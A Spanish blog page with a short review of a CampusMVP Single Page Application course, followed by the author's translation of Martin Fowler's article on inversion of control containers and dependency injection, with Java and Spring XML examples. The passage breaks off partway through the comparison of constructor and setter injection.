Nuevo curso de SPA en Campus MVP

25. November 2013 22:48 by Oscar.SS in Desarrollo Web, Formación  //  Tags: , ,   //   Comments (0)

Una vez más he tenido la suerte de asistir a un curso de CampusMVP. En esta ocasión se trata del Curso Single Page Application (en adelante SPA) tutorado por Albert Margarit. Por motivos profesionales tenía muchas expectativas y curiosidad sobre este curso. En los últimos 9 meses he estado trabajando en un proyecto con esta nueva filosofía para la web, por lo tanto el curso era una forma de poner a prueba todo lo aprendido durante estos meses.

 

 

Para los que no estéis familiarizados con las SPA, debéis tener en cuenta que se trata de una nueva filosofía de desarrollo para la web que utiliza no pocas librerías y frameworks de JavaScript. Lo que sin duda dificulta y mucho la creación de un curso sobre este tema. Sin embargo en mi opinión en CampusMVP han acertado con la fórmula para desarrollar un curso muy práctico y didáctico. Y me consta que llevan trabajando muy duro en ello desde antes del verano.

El curso está dividido principalmente en dos grandes bloques.

El primer bloque es en su mayoría teórico, aunque también contiene videos y ejercicios propuestos. Aquí el alumno encontrará toda la información conceptual necesaria para entender la filosofía SPA. Si eres de los que te da miedo JavaScript, no te preocupes. En un esfuerzo extra han introducido un módulo completo donde podrás encontrar una iniciación de programación orientada a objetos con JavaScript. Además, de no pocos patrones de diseño muy utilizados cuando trabajas con aplicaciones SPA.

El segundo bloque es sin duda el que más me ha gustado. Se trata de una colección de videos en los que se describe paso a paso como desarrollar una aplicación totalmente funcional de principio a fin. La aplicación que desarrollarás siguiendo estos videos es un "time traking" o máquina de fichar. Aquí dejo un pantallazo.

Además al final de cada video puedes descargarte el código fuente de la aplicación en el estado que corresponda a ese video. Un gran recurso que "te obligará" a pasar algunas horas picando código. Sin duda la mejor forma de aprender. Sinceramente, creo que este es el curso con carácter más práctico de todos los de CampusMVP.

En esta ocasión tengo que hacer una especial mención a los enlaces relacionados del curso. El mismo está repleto de valiosísimos e interesantes enlaces externos que denotan el gran trabajo de investigación realizado y el conocimiento sobre la materia del tutor Albert Margarit

Así que si estás pensando en formarte sobre esta nueva vertiente del desarrollo web, el curso de SPA de CampusMVP es sin duda alguna una opción muy recomendable. Tener conocimientos y experiencia sobre los frameworks y patrones que contiene el curso te permitirá estar actualizado en lo que ya es el presente del desarrollo web.

Contenedores de inversión de control y el patrón inyección de dependencias

18. February 2013 08:40 by Oscar.SS in Programación  //  Tags: ,   //   Comments (4)

Con el permiso explícito de Martin Fowler he traducido este artículo con la intención de acercarlo para todos aquellos que se les resista la lengua de Shakespeare. En gran medida he respetado el texto original pero al mismo tiempo he intentado que la lectura sea lo más fluida posible. El lector encontrará algunos términos sin traducir, normalmente en letra itálica. El motivo ha sido que en la mayoría de los casos son términos por todos conocidos o que la traducción no aportaba realmente nada, muchas veces lo contrario.

Texto Original: http://www.martinfowler.com/articles/injection.html

Fecha de la traducción: 18/02/2013

 

Introducción e índice

En la comunidad Java ha habido una avalancha de contenedores ligeros que ayudan a ensamblar componentes de diferentes proyectos en una aplicación conjunta. Detrás de estos contenedores hay un patrón común que se encarga de las conexiones, un concepto denominado genéricamente "Inversión de Control". En este artículo profundizo sobre como funciona este patrón, bajo el nombre más específico de "Inyección de Dependencias", y lo contrasto con la alternativa "Localizador de Servicios". La elección entre estos dos enfoques es menos importante que el principio de separar la configuración del uso.

Una de las cosas más fascinantes del mundo empresarial Java es el gran número de actividades que buscan producir alternativas a las tecnologías oficiales de J2EE, la mayoría de las cuales tienen lugar en el mundo del código abierto. En gran medida es una reacción a la excesiva complejidad de la corriente principal de J2EE, pero gran parte se debe también a la exploración de alternativas y la creación de ideas creativas. Un problema común que se plantea, es cómo conectar entre sí los diferentes elementos: cómo pueden encajar juntos esta arquitectura de controlador web con el respaldo de aquella interfaz de base de datos cuando se construyeron por diferentes equipos con apenas contacto entre ellos. Una serie de frameworks han considerado este problema, y muchos se están expandiendo para encontrar una metodología genérica para el ensamblado de componentes de diversos orígenes. Estos son frecuentemente denominados como contenedores ligeros, algunos ejemplos son PicoContainer y Spring.

En la base de estos contenedores hay una serie de principios de diseño interesantes, cosas que van más allá de estos dos contenedores específicos, e incluso de la plataforma Java. En este artículo quiero comenzar a explorar algunos de estos principios. Los ejemplos utilizados son en Java, pero como en la mayor parte de mis escritos, los principios son igualmente aplicables a otros entornos orientados a objetos, en particular .NET

 

Componentes y Servicios

Un ejemplo sencillo

Inversión de Control

Formas de Inyección de Dependencias

Constructor Injection con PicoContainer

Setter Injection con Spring

Interface Injection

Usando un Localizador de Servicios

Usando una Interfaz Segregada para el Localizador

Un Localizador de Servicios Dinámico

Utilizando tanto un Localizador como Inyección con Avalon

Decidir que opción usar

Localizador de Servicios contra Inyección de Dependencias

Constructor Injection contra Setter Injection

Código o archivos de configuración

Separar la configuración del uso

Algunos temas adicionales

Reflexiones finales

Revisiones significativas

 

Componentes y Servicios

El tema de la conexión de elementos me lleva casi inmediatamente a los problemas espinosos de la terminología que rodea a los términos servicio y componente. Puedes encontrar fácilmente artículos largos y contradictorios en la definición de estos dos conceptos. Para mis propósitos en este artículo, a continuación hablaré sobre como uso estos términos ya de por si saturados.

Yo uso el termino componente para referirme a un conjunto de software diseñado para ser utilizado sin modificación alguna en una aplicación que está fuera del control de los desarrolladores del componente. Por "sin modificación", me refiero a que la aplicación no cambia el código fuente del componente, aunque se puede cambiar el comportamiento del componente extendiéndolo de alguna forma permitida por los creadores del componente.

Un servicio es similar a un componente en el sentido de es utilizado por aplicaciones externas. La principal diferencia es que espero que un componente se utilice locálmente (piense en un archivo jar, un ensamblado o una dll). Un servicio será utilizado remotamente a través de alguna interfaz remota, síncrona o asíncrona (ej: servicio Web, mensajería, RPC, o socket).

En este artículo me referiré principalmente a los servicios, pero gran parte de la misma lógica puede ser aplicada también a los componentes locales. De hecho, a menudo se necesita algún tipo de componente local para facilitar el acceso a un servicio remoto. Pero escribir "componente o servicio" es agotador tanto para leer como para escribir, y los servicios están más de moda por el momento.

 

Un ejemplo sencillo

Para hacer esto más concreto usaré un ejemplo corriente para hablar sobre este tema. Al igual que todos mis ejemplos, es uno de esos ejemplos super simples, tan pequeño como para parecer irreal, pero espero que sea suficiente para que podamos ver lo que está pasando sin tener en cuenta la complejidad de un ejemplo real.

En este ejemplo, estoy creando un componente que proporciona una lista de películas dirigidas por un director en particular. Esta funcionalidad increíblemente útil se lleva a cabo en un solo método.

        class MovieLister...
        {
            
public Movie[] moviesDirectedBy(String arg)
            {
                List allMovies 
finder.findAll();

                for 
(Iterator it allMovies.iterator()it.hasNext();)
                {
                    Movie movie 
(Movie) it.next();
                    if 
(!movie.getDirector().equals(arg)) it.remove();
                
}

                
return (Movie[]) allMovies.toArray(new Movie[allMovies.size()]);
            
}
        }

La implementación de esta función es extremadamente trivial, pidiendo al objeto finder (sobre el que volveremos en breve) que devuelva todas las películas que conoce. Luego recorre esta lista para devolver sólo las películas de un director en particular. No voy a reparar esta particular porción de ingenuidad, ya que es sólo el andamiaje para el verdadero objetivo de este artículo.

El verdadero punto de este artículo es el objeto finder, o particularmente como podemos conectar la clase MovieLister con un objecto finder en particular. Esto es interesante porque quiero que mi maravilloso método moviesDirectedBy sea completamente independiente de como están siendo almacenadas todas la películas. Por lo tanto, todo lo que el método hace es referenciar al objeto finder, y lo único que hace el objeto finder es conocer como responder al método findAll. Puedo hacer esto definiendo de una interfaz para el objeto finder.

    public interface MovieFinder
    {
        List findAll()
;
    
}

Ahora todo esto está bien desacoplado, pero en algún momento tengo que conseguir una clase concreta para realmente obtener las películas. En este caso, pongo el código para hacer esto en el constructor de mi clase.

    class MovieLister...
    {
        
private MovieFinder finder;

        public 
MovieLister()
        {
            finder 
= new ColonDelimitedMovieFinder("movies1.txt");
        
}
    }

El nombre de la clase que implementa la interfaz MovieFinder viene del hecho de que estoy obteniendo mi lista desde un archivo delimitado por el caracter ':'. Les ahorraré los detalles, después de todo, el tema es que hay alguna implementación.

Ahora bien, si estoy usando esta clase símplemente para mí, todo es correcto y elegante. ¿Pero qué sucede cuando mis amigos están abrumados por el deseo de tener esta maravillosa funcionalidad y les gustaría una copia de mi programa?. Si ellos también almacenan sus listas de películas en un archivo de texto delimitado por caracteres ':' llamado "movies1.txt", entonces todo es maravilloso. Si ellos tienen un nombre diferente para su archivo de películas, podríamos poner luego el nombre del archivo en un archivo de propiedades. ¿Pero que pasa si ellos tiene un forma completamente diferente de almacenar sus listas de películas: una base de datos SQL, un archivo XML, un servicio Web, o simplemente otro formato en el archivo de texto?. En este caso necesitamos una clase diferente para recuperar los datos. Ahora, como he definido la interfaz MovieFinder, esto no cambiará mi método moviesDirectedBy. Pero todavía tengo que tener una manera de obtener una instancia de la correcta implementación del objeto finder.

Figura 1: Las dependencias mediante una simple creación en la clase MovieLister

La Figura 1 muestra las dependencias de esta situación. La clase MovieLister depende tanto de la interfaz MovieFinder como de su implementación concreta. Hubiéramos preferido que sólo dependiera de la interfaz, pero ¿cómo podemos obtener una instancia para trabajar?

En mi libro P of EAA, se describe esta situación como un plugin. La implementación de la clase para el objeto finder no está vinculada al programa en tiempo de compilación, ya que no sé lo que mis amigos van a utilizar. En su lugar, quiero que finder funcione en cualquier aplicación, y que dicha implementación se utilice luego fuera de mi control. El problema es cómo puedo hacer la conexión para que mi clase MovieLister sea ignorante de la implementación concreta del objeto finder, pero aún pueda tratar con una instancia para hacer su trabajo.

Expandiendo esto a un sistema real podemos tener docenas de servicios y componentes similares. En cada caso, se puede abstraer el uso de estos componentes que interactuan con ellos a través de una interfaz (y el uso de un adaptador, si el componente no es diseñado con una interfaz en la mente). Pero si queremos desplegar este sistema de diferentes maneras, tenemos que usar plugins para manejar la interacción con estos servicios, con lo que podemos utilizar diferentes implementaciones en diferentes despliegues.

Así que el problema central es, ¿cómo podemos ensamblar estos plugins en una aplicación?. Este es uno de los principales problemas que esta nueva generación de contenedores ligeros debe tratar de resolver, y universalmente todos ellos hacen esto usando Inversión de Control.

 

Inversión de Control

Cuando la gente habla acerca de cómo estos contenedores son tan útiles para la aplicación de "Inversión de Control", me siento desconcertado. Inversión de Control es una característica común en los frameworks, así que decir que estos contenedores ligeros son especiales debido a que utilizan la Inversión de Control es como decir que mi coche es especial porque tiene ruedas.

La pregunta es, ¿qué aspecto del control están invirtiendo? La primera vez que me tope con Inversión de Control, era el control principal de una interfaz de usuario. En sus inicios las interfaces de usuario eran controladas por el programa de la aplicación. Teníamos una secuencia de comandos parecida a "introducir el nombre" o "introducir la dirección", y tu programa procesaba la entrada de datos para responder a cada una. Con las interfaces de usuario gráficas el framework de interfaz de usuario contendría este bucle principal, y en su lugar tu programa proporcionaba manejadores de eventos para los distintos campos de la pantalla. El control principal del programa fue invertido, se apartó de ti para moverse hacia el framework.

Para este nuevo lote de contenedores, la inversión es sobre cómo buscan la implementación de un plugin. En mi sencillo ejemplo, la clase MovieLister obtenía la implementación del objeto finder directamente instanciándolo. Esto evita que el finder sea un plugin. El enfoque que utilizan estos contenedores es asegurar que cualquier usuario de un plugin sigue alguna convención que permite a un módulo independiente de ensamblado inyectar la lista de objetos.

Como resultado creo que necesitamos un nombre más específico para este patrón. Inversión de Control es un termino demasiado genérico, y por lo consiguiente la gente lo encuentra confuso. Como resultado de muchas discusiones con varios defensores de IoC acordamos denominarlo Inyección de Dependencias.

Voy a empezar hablando de varias formas de Inyección de Dependencias, pero ser conscientes de que este no es el único camino para eliminar las dependencias de la clase de aplicación hacia la implementación de un plugin. El otro patrón que puedes usar es el Localizador de Servicios, y discutiré esto más tarde, una vez terminada la explicación sobre Inyección de Dependencias.

 

Formas de Inyección de Dependencias

La idea básica de la Inyección de Dependencia es tener un objeto separado, un ensamblador, que puebla un campo en la clase MovieLister con una implementación apropiada para la interfaz MovieFinder, resultando un diagrama de dependencia cómo en la Figura 2.

Figura 2: Las dependencias para una Inyección de Dependencias

Principalmente existen 3 formas de Inyección de Dependencias. Los nombres que uso para ellos son Constructor Injection, Setter Injection, y Interface Injection. Si lees sobre estos temas en los debates actuales sobre Inversión de Control, oirás nombrarlos como Tipo 1 IoC (interface injection), Tipo 2 IoC (setter injection) y Tipo 3 IoC (constructor injection). Encuentro particularmente difícil recordar los nombres numéricos, así que he utilizado los nombres aquí definidos.

 

Constructor Injection con PicoContainer

Voy a comenzar mostrando cómo se realiza esta inyección utilizando un contenedor ligero llamado PicoContainer. Empiezo por aquí principalmente porque muchos de mis colegas en ThoughtWorks son muy activos en el desarrollo de PicoContainer (sí, esto es un tipo de nepotismo corporativo).

PicoContainer usa un constructor para decidir como inyectar la implementación del objeto finder dentro de la clase MovieLister. Para que esto funcione, la clase MovieLister necesita declarar un constructor que incluye todo todo lo que necesita ser inyectado.

    class MovieLister...
    {
        
public MovieLister(MovieFinder finder) 
        {
            
this.finder finder;       
        
}
    }

El propio objeto finder será también gestionado por el contenedor PicoContainer, tal que tendremos el nombre del archivo de texto inyectado por el contenedor.

    class ColonMovieFinder...
    {
        
public ColonMovieFinder(String filename) 
        {
            
this.filename filename;
        
}
    }

PicoContainer entonces necesita ser informado de que implementación de clase asociar a cada interfaz y que string inyectar en el objeto finder.

    private MutablePicoContainer configureContainer() 
    {
        MutablePicoContainer pico 
= new DefaultPicoContainer();

        
Parameter[] finderParams =  
            
{
                
new ConstantParameter("movies1.txt")
            }
;

        
pico.registerComponentImplementation(MovieFinder.class, ColonMovieFinder.class, finderParams);
        
        
pico.registerComponentImplementation(MovieLister.class);
        
        return 
pico;
    
}

Esta configuración de código se realiza normalmente en una clase diferente. Para nuestro ejemplo, cada amigo que use mi clase MovieLister podría escribir el código de configuración apropiado en alguna clase de inicialización de su propiedad . Por supuesto, es común mantener este tipo de información de configuración en un archivo config separado. Puedes escribir un clase para leer el archivo config y configurar el contenedor apropiadamente. Aunque PicoContainer no contienen esta característica, existe un proyecto relacionado llamado NanoContainer que proporciona los wrappers adecuados para permitirte tener un archivo de configuración XML. Dicho NanoContainer interpretará el XML para luego configurar un contendor PicoContainer. La filosofía del proyecto es separar el formato del archivo de configuración del mecanismo interno.

Para utilizar el contenedor se necesita un código como este.

    public void testWithPico() 
    {
        MutablePicoContainer pico 
configureContainer();
        
        
MovieLister lister (MovieLister) pico.getComponentInstance(MovieLister.class);
        
        
Movie[] movies lister.moviesDirectedBy("Sergio Leone");
        
        
assertEquals("Once Upon a Time in the West", movies[0].getTitle());
    
}

Aunque en este ejemplo he utilizado Constructor Injection, PicoContainer también soporta Setter Injection, sin embargo sus desarrolladores prefieren el primero.

 

Setter Injection con Spring

Spring es un extenso framework para el desarrollo empresarial Java. Incluye capas de abstracción para transacciones, frameworks de persistencia, desarrollo de aplicaciones Web y JDBC. Al igual que PicoContainer, soporta tanto Constructor Injection como Setter Injection, pero sus desarrolladores tienden a preferir Setter Injection, lo que lo convierte en una opción apropiada para este ejemplo.

Para conseguir que mi clase MovieLister acepte la inyección defino un método Set para este servicio.

    class MovieLister...
    {
        
private MovieFinder finder;
        
        public void 
setFinder(MovieFinder finder) 
        {
            
this.finder finder;
        
}
    }

Similarmente defino un método Set para el nombre de archivo.

    class ColonMovieFinder...
    {    
        
public void setFilename(String filename) 
        {
            
this.filename filename;
        
}
    }

El tercer paso es ajustar la configuración para los archivos. Spring soporta la configuración a través de archivos XML y también a través de código, pero XML es la manera esperada para hacerlo.

    <beans>
        
<bean id="MovieLister" class="spring.MovieLister">
            
<property name="finder">
                
<ref local="MovieFinder"/>
            </
property>
        
</bean>
        
<bean id="MovieFinder" class="spring.ColonMovieFinder">
            
<property name="filename">
                
<value>movies1.txt</value>
            
</property>
        
</bean>
    
</beans>

Luego el test es similar a esto.

        public void testWithSpring() throws Exception 
        {
            ApplicationContext ctx 
= new FileSystemXmlApplicationContext("spring.xml");

            
MovieLister lister (MovieLister) ctx.getBean("MovieLister");

            
Movie[] movies lister.moviesDirectedBy("Sergio Leone");

            
assertEquals("Once Upon a Time in the West", movies[0].getTitle());
        
}

 

Interface Injection

La tercera técnica de inyección es definir y utilizar interfaces para la inyección. Avalon es un ejemplo de framework que utiliza esta técnica. Hablaré un poco más sobre esto después, pero en este caso lo voy a usar con unos simples ejemplos de código.

Con esta técnica, comienzo por definir la interfaz que voy a utilizar para realizar la inyección. Aquí está la interfaz para inyectar un MovieFinder a un objeto.

    public interface InjectFinder
    {
        
void injectFinder(MovieFinder finder);
    
}

Esta interfaz sería definida por cualquiera que proporcione la interfaz MovieFinder. Necesita ser implementada por cualquier clase que quiera usar el objeto finder, como la clase MovieLister.

    class MovieLister implements InjectFinder...
    {
        
public void injectFinder(MovieFinder finder) 
        {
            
this.finder finder;
        
}
    }

Uso un enfoque similar para inyectar el nombre del archivo en la implementación del objeto finder.

    public interface InjectFinderFilename 
    {
        
void injectFilename (String filename);
    
}

    
class ColonMovieFinder implements MovieFinder, InjectFinderFilename......
    {
        
public void injectFilename(String filename) 
        {
            
this.filename filename;
        
}
    }

Entonces, como de costumbre, necesito algún código de configuración para conectar las implementaciones. Por simplicidad lo haré en el código.

    class Tester...
    {
        
private Container container;

         private void 
configureContainer() 
         {
           container 
= new Container();
           
registerComponents();
           
registerInjectors();
           
container.start();
        
}
    }

Esta configuración tiene dos etapas. El registro de la identificación de los componentes clave es muy similar a los otros ejemplos.

    class Tester...
    {
          
private void registerComponents() 
          {
            container.registerComponent(
"MovieLister", MovieLister.class);
            
container.registerComponent("MovieFinder", ColonMovieFinder.class);
          
}
    }

Un nuevo paso es registrar los inyectores que inyectarán los componentes dependientes. Cada interfaz de inyección necesita código para inyectar el objeto dependiente. Aquí hago esto registrando objetos inyectores con el contenedor. Cada uno de los objetos inyectores implementa la interfaz del inyector.

    class Tester...
    {
          
private void registerInjectors() 
          {
            container.registerInjector(InjectFinder.
class, container.lookup("MovieFinder"));
            
container.registerInjector(InjectFinderFilename.classnew FinderFilenameInjector());
          
}
    }

    
public interface Injector 
    {
        
public void inject(Object target);
    
}

Cuando la dependencia es una clase escrita para este contenedor, tiene sentido para el contenedor implementar la interface Injector, tal y como hago aquí con la clase MovieFinder. Para clases genéricas, tal como string, uso una clase interna dentro del código de configuración.

    class ColonMovieFinder implements Injector......
    {
        
public void inject(Object target) 
        {
            ((InjectFinder) target).injectFinder(
this);        
        
}
    }

    
class Tester...
    {
        
public static class FinderFilenameInjector implements Injector 
        {
            
public void inject(Object target) 
            {
                ((InjectFinderFilename)target).injectFilename(
"movies1.txt");      
            
}
        }
    }

Luego los tests usan el contenedor.

    class IfaceTester...
    {
        
public void testIface() 
        {
          configureContainer()
;

          
MovieLister lister (MovieLister)container.lookup("MovieLister");
          
Movie[] movies lister.moviesDirectedBy("Sergio Leone");
          
          
assertEquals("Once Upon a Time in the West", movies[0].getTitle());
        
}
    }

El contenedor utiliza las interfaces declaradas de inyección para descubrir las dependencias e inyectores para inyectar las dependientes correctas. (La implementación específica del contenedor que hice aquí no es importante para la técnica, y no lo voy a mostrar porque te reirías)

 

Usando un Localizador de Servicios

El principal beneficio de la Inyección de Dependencia es que elimina la dependencia que la clase MovieLister tiene con la implementación concreta de MovieFinder. Esto me permite compartir con amigos clases MovieLister, y ellos pueden conectar las implementaciones adecuadas para su entorno. La Inyección de Dependencia no es la única manera de romper estas dependencias, otra es utilizar un Localizador de Servicios.

La idea básica detrás de un Localizador de Servicios es tener un objeto que sabe cómo obtener todos los servicios que una aplicación puede necesitar. Así que, el Localizador de Servicios para esta aplicación tendría un método que devuelve un objeto finder cuando esto es necesario. Por supuesto, esto sólo traslada esta carga un poco, todavía tenemos que obtener el localizador en el objeto lister, dando lugar a las dependencias de la Figura 3.

Figura 3: Depencencias para un Localizador de Servicios

En este caso, voy a utilizar el Localizador de Servicios como un Registry único. La clase MovieLister entonces se puede utilizar para obtener el objeto finder cuando es instanciado.

    class MovieLister...
    {
        
private MovieFinder finder ServiceLocator.movieFinder();
    
}

    
class ServiceLocator...
    {
        
public static MovieFinder movieFinder()
        {
            
return soleInstance.movieFinder;
        
}

        
private static ServiceLocator soleInstance;
        private 
MovieFinder movieFinder;
    
}

Al igual que en el enfoque de Inyección de Dependencia, tenemos que configurar el Localizador de Servicios. Aquí lo voy a hacer en el código, pero no es difícil usar un mecanismo que lea los datos adecuados desde un archivo de configuración.

    class Tester...
    {
        
private void configure()
        {
            ServiceLocator.load(
new ServiceLocator(new ColonMovieFinder("movies1.txt")));
        
}
    }

    
class ServiceLocator...
    {
        
public static void load(ServiceLocator arg)
        {
            soleInstance 
arg;
        
}

        
public ServiceLocator(MovieFinder movieFinder)
        {
            
this.movieFinder movieFinder;
        
}
    }

Aquí está el código de test.

    class Tester...
    {
        
public void testSimple()
        {
            configure()
;
            
MovieLister lister = new MovieLister();
            
Movie[] movies lister.moviesDirectedBy("Sergio Leone");
            
assertEquals("Once Upon a Time in the West", movies[0].getTitle());
        
}
    }

Muchas veces he oído quejas sobre que este tipo de Localizador de Servicios no son buenos porque no permiten tests ya que no es posible reemplazar sus implementaciones. Ciertamente, puedes diseñarlos mal y entrar en este tipo de dificultades, pero tu no tienes porque hacerlo. En este caso, la instancia del Localizador de Servicios es sólo un simple contenedor para los datos. Puedo crear fácilmente el Localizador de Servicios con las implementaciones de prueba de mis servicios.

Para un localizador más sofisticado puedo heredar del Localizador de Servicios y pasar esta subclase en la variable de la clase de registro. Puedo cambiar los métodos estáticos para llamar a un método en la instancia en lugar de acceder directamente a las variables de instancia. Puedo proporcionar localizadores para un hilo específico usando una ubicación de almacenamiento especifica para el hilo. Todo esto puede ser realizado sin cambios en los clientes del Localizador de Servicios.

Una forma de pensar en esto es que el Localizador de Servicios es un registro, no un singleton. Un singleton proporciona una forma sencilla de implementar un resgistro, pero esta decisión de implementación se puede cambiar fácilmente.

 

Usando una Interfaz Segregada para el Localizador

Uno de los problemas con el sencillo enfoque anterior, es que MovieLister depende de la clase del Localizador de Servicios, incluso si se utiliza un solo servicio. Podemos reducir esto utilizando una interfaz segregada. De esta forma, en lugar de usar la interfaz completa del Localizador de Servicios, el lister puede declarar solo parte de la interfaz que necesita.

En esta situación el proveedor del lister también proveería una interfaz localizador la cual necesita para obtener el finder.

    public interface MovieFinderLocator
    {
        
public MovieFinder movieFinder();
    
}

El localizador entonces debe implementar esta interfaz para proporcionar acceso al finder.

         MovieFinderLocator locator ServiceLocator.locator();
         
MovieFinder finder locator.movieFinder();
           
         public static 
ServiceLocator locator() 
         {
            
return soleInstance;
         
}

         
public MovieFinder movieFinder() 
         {
            
return movieFinder;
         
}

         
private static ServiceLocator soleInstance;
         private 
MovieFinder movieFinder;

Notarás que dado que queremos utilizar una interfaz, no podemos acceder simplemente a los servicios a través de métodos estáticos. Tenemos que utilizar la clase para obtener una instancia del localizador y luego usarla para conseguir lo que necesitemos.

 

Un Localizador de Servicios dinámico

El ejemplo anterior era estático, en donde la clase del Localizador de Servicios dispone de métodos para cada servicio que necesitas. Esta no es la única manera de hacer esto, también puedes hacer un Localizador de Servicios dinámico que te permita agrupar todos los servicios que necesitas y realizar sus selecciones en tiempo de ejecución.

En este caso, el Localizador de Servicios utiliza un mapa en lugar de campos para cada servicio, y proporciona métodos genéricos para la obtención y carga de los servicios.

    class ServiceLocator...
    {
        
private static ServiceLocator soleInstance;

        public static void 
load(ServiceLocator arg)
        {
            soleInstance 
arg;
        
}

        
private Map services = new HashMap();

        public static 
Object getService(String key)
        {
            
return soleInstance.services.get(key);
        
}

        
public void loadService(String key, Object service)
        {
            services.put(key, service)
;
        
}
    }

La configuración consiste en cargar el servicio con una key apropiada. 

    class Tester...
    {
        
private void configure()
        {
            ServiceLocator locator 
= new ServiceLocator();
            
locator.loadService("MovieFinder"new ColonMovieFinder("movies1.txt"));
            
ServiceLocator.load(locator);
        
}
    }

Puedo utilizar el servicio usando el mismo key string.

    class MovieLister...
    {
        
private MovieFinder finder (MovieFinder) ServiceLocator.getService("MovieFinder");
    
}

En general no me gusta este enfoque. A pesar de que es muy flexible, no es muy explícito. La única forma en la que puedo enterarme como alcanzar un servicio es a través de keys textuales. Prefiero métodos explícitos ya que es más fácil encontrar dónde están estos mirando las definiciones de la interfaz.

 

Utilizando tanto un localizador como una inyección con Avalon

La Inyección de Dependencias y el Localizador de Servicios no son necesariamente conceptos mutuamente excluyentes. Un buen ejemplo usando ambos al mismo tiempo es el framework Avalon. Avalon usa un Localizador de Servicios, pero usa inyección para decirle a los componentes donde encontrar el localizador.

Berin Loritsch me envió esta sencilla versión de mi ejemplo usando Avalon.

    public class MyMovieLister implements MovieLister, Serviceable
    {
        
private MovieFinder finder;

        public void 
service(ServiceManager manager) throws ServiceException
        {
            finder  
( MovieFinder ) manager.lookup("finder");
        
}
    }

El método service es un ejemplo de inyección de interfaz, permitiendo al contenedor inyectar un gestor de servicios en MyMovieLister. El gestor de servicios es un ejemplo de un Localizador de Servicios. En este ejemplo el lister no almacena el gestor en un campo, en su lugar, lo usa inmediatamente para encontrar el finder.

 

Decidir que opción usar

Hasta ahora me he concentrado en explicar como veo estos patrones y sus variantes. Ahora puedo hablar sobre sus pros y contras para ayudar a encontrar las respuesta a cual usar y cuando.

 

Localizador de Servicios contra Inyección de Dependencias

La principal elección es entre el Localizador de Servicios y la Inyección de Dependencias. La idea principal es que estas dos implementaciones proporcionan el desacople fundamental que no contenía el sencillo ejemplo del principio, en ambos casos, el código de la aplicación es indepenciente de la concreta implementación de la interfaz de servicio. La diferencias más importante entre estos dos patrones es como esa implementación es proporcionada a la clase de la aplicación. Con el Localizador de Servicios la clase de la aplicación lo pregunta explicitamente con un mensaje en el localizador. Con la Inyección de Dependencias no hay una petición explicita, el servicio aparece en la clase de aplicación, de ahí la Inversión de Control.

La Inversión de Control es una característica común en los frameworks, pero esto es algo que tiene un precio. Tiende a ser difícil de entender y proporciona algunos problemas cuando tratas de depurarlo. Así que en general prefiero evitarlo a menos que lo necesite. Esto no es lo mismo que decir que es algo malo, simplemente pienso que necesita justificarse sobre una alternativa más directa.

Usar Inyección de Dependiencias puede ayudar a que sea más fácil ver las dependencias de los componentes. Con el Inyector de Dependencias puedes simplemente mirar los mecanismos de inyección, tales como el constructor, y mirar las dependencias. Con el Localizador de Servicios tienes que buscar el código fuente de las llamadas al localizador. Los modernos IDEs (Entornos de Desarrollo Intregrado) con funciones de búsqueda de referencias hacen esto más fácil, pero todavía no es tan fácil como mirar el constructor o los métodos de configuración.

Gran parte de esto depende de la naturaleza del usuario del servicio. Si estás construyendo una aplicación con varias clases que utilizan un servicio, entonces una dependencia desde las clases de la aplicación para el localizador no es un gran problema. En mi ejemplo de ofrecer un listador de películas para mis amigos, usar un Localizador de Servicios funciona bastante bien. Todo lo que ellos necesitan hacer es configurar el localizador para enganchar las correctas implementaciones de los servicios, ya sea a través de algún código de configuración o a través de un archivo de configuración. En este tipo de escenario no veo que la inversión de inyectores proporcione algo convincente.

La diferencia viene si el listador de películas es un componente que estoy proporcionando a una aplicación que otras personas están escribiendo. En este caso, no sé mucho sobre las APIs de los Localizadores de Servicios que mis clientes van ha utilizar. Cada cliente podría tener sus propios Localizadores de Servicios incompatibles. Puedo esforzarme en hacer algo de esto usando la segregación de una interfaz. Cada cliente puede escribir un adaptador para el localizador que coincida con mi interfaz, pero en cualquier caso todavía necesito ver el primer localizador para buscar mi específica interfaz. Una vez que el adaptador aparece, entonces la simplicidad de la conexión directa para el localizador empieza a tambalearse.

Debido a que tienes una Inyección de Dependencia del componente inyector, el componente no puede obtener servicios adicionales desde el inyector una vez ha sido configurado.

Una razón común que la gente da para preferir la Inyección de Dependencias es que esto facilita los tests. El asunto aquí es que para realizar tests, necesitas reemplazar fácilmente las implementaciones reales de los servicios con stubs o mocks. Sin embargo, realmente no hay diferencia aquí entre la Inyección de Dependencias y el Localizador de Servicios: ambos están muy dispuestos para stubs. Sospecho que esta observación proviene de proyectos en los que la gente no hace el esfuerzo para asegurar que su Localizador de Servicios pueda ser fácilmente sustituible. Aquí es donde la prueba continua ayuda, si no puedes preparar fácilmente los servicios para ser testeados, entonces esto implica un serio problema con tu diseño.

Por supuesto el problema de los tests son exacerbados por entornos de componentes que  son muy intrusivos, tales como el framework Java EJB. Mi opinión es que este tipo de frameworks debe reducir su impacto en el código de la aplicación, y particularmente no deben hacer cosas que ralentizan el ciclo de edición-ejecución. Utilizar plugins para sustituir componentes pesados hace mucho para ayudar en este proceso, el cual es vital para prácticas como TDD.

Así que el primer poblema es para aquellos desarrolladores que están escribiendo código que espera ser usado en aplicaciones fuera del control de sus desarrolladores. En estos casos, incluso una mínima suposición sobre un Localizador de Servicios es un problema.

 

Constructor Injection contra Setter Injection

Para la combinación de servicios siempre tienes que tener alguna convención con el fin de conectar las cosas. La principal ventaja de la inyección es que requiere una convención muy simple, al menos para el Constructor Injection y el Setter Injection. No tienes que hacer nada raro en tu componente y es bastante sencillo para un inyector conseguir que todo esté configurado. 

Inyection Interface es más intrusiva ya que tienes que escribir muchas interfaces para solucionar todo. Para un conjunto pequeño de interfaces requeridas por el contenedor, como en el enfoque de Avalon, no es tan malo. Pero es mucho trabajo para el ensamblado de componentes y dependencias, por lo que la actual cosecha de contenedores ligeros trabajan con Setter Injection y Constructor Injection.

La elección entre Setter Injection y Constructor Injection es interesante ya que refleja un problema más general de la programación orientada a objetos - debes de llenar los campos en un constructor o con setters.

Por defecto mi larga experiencia con los objetos es crear, tanto sea posible, objetos validos en el momento de la construcción. Esta sugerencia nos devuelve a las mejores prácticas de patrones con Smalltalk de Kent Beck: Constructores y constructores con parámetros. Lo constructores con parámetros proporcionan una idea clara de lo que significa crear un objeto válido en un lugar visible. Si hay más de una forma para hacerlo, basta con crear más constructores que muestran las diferentes combinaciones.

